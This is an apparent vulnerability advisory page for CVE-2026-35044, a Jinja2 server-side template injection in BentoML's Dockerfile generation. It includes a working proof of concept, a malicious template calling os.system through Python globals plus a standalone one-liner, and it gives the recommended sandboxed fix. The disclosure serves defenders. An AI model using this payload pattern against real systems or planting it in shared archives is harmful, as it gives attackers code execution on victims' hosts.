CVE-2026-35044: BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
Summary The Dockerfile generation function generatecontainerfile() in src/bentoml/internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfiletemplate files.
Published Apr 3, 2026 · Updated Jun 8, 2026
Affected packages
bentoml
- Ecosystem
- PyPI
- Affected
- <= 1.4.37
- Fixed in
- 1.4.38
- Check
pip show bentoml
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)This creates an unsandboxed jinja2.Environment with two dangerous extensions:
jinja2.ext.do— enables{% do %}tags that execute arbitrary Python expressionsjinja2.ext.debug— exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)- Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.).
- Victim imports the bento with
bentoml import bento.tar— no validation of template content is performed.
- Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"- `generate_containerfile()` (
generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...) # <-- SSTI executes here, on the HOSTCritical distinction: Commands in docker.commands or docker.post_commands execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, *before* Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template `evil.j2`:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}Step 2: Create `bentofile.yaml` referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tarStep 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latestStep 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...The SSTI payload executes on the host during template rendering, before any Docker container is created.
Standalone verification that the Jinja2 Environment allows code execution:
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKSImpact
An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:
- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
- Ability to install backdoors or pivot to other systems
- Access to environment variables containing secrets (API keys, database credentials)
- Potential supply chain compromise if the victim's machine is a CI/CD runner
The attack is particularly dangerous because:
- Users may reasonably expect
bentoml containerizeto be a safe build operation - The malicious template is embedded inside the bento archive and not visible without manual inspection
- Execution happens on the host, not inside a Docker container, bypassing all isolation
Recommended Fix
Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.
In src/bentoml/_internal/container/generate.py, change lines 155-157:
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
extensions=["jinja2.ext.loopcontrols"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
variable_start_string="<<",
variable_end_string=">>",
loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More BentoML vulnerabilities
All BentoML entriesCVE-2026-44345
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
high8.8May 11, 2026CVE-2026-44346
Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)
high8.8May 11, 2026CVE-2026-40610
BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
medium5.5May 7, 2026CVE-2026-35043
BentoML: Command Injection in cloud deployment setup script
high7.8Apr 3, 2026CVE-2026-33744
BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
high7.8Mar 26, 2026CVE-2026-27905
BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
high8.6Mar 3, 2026
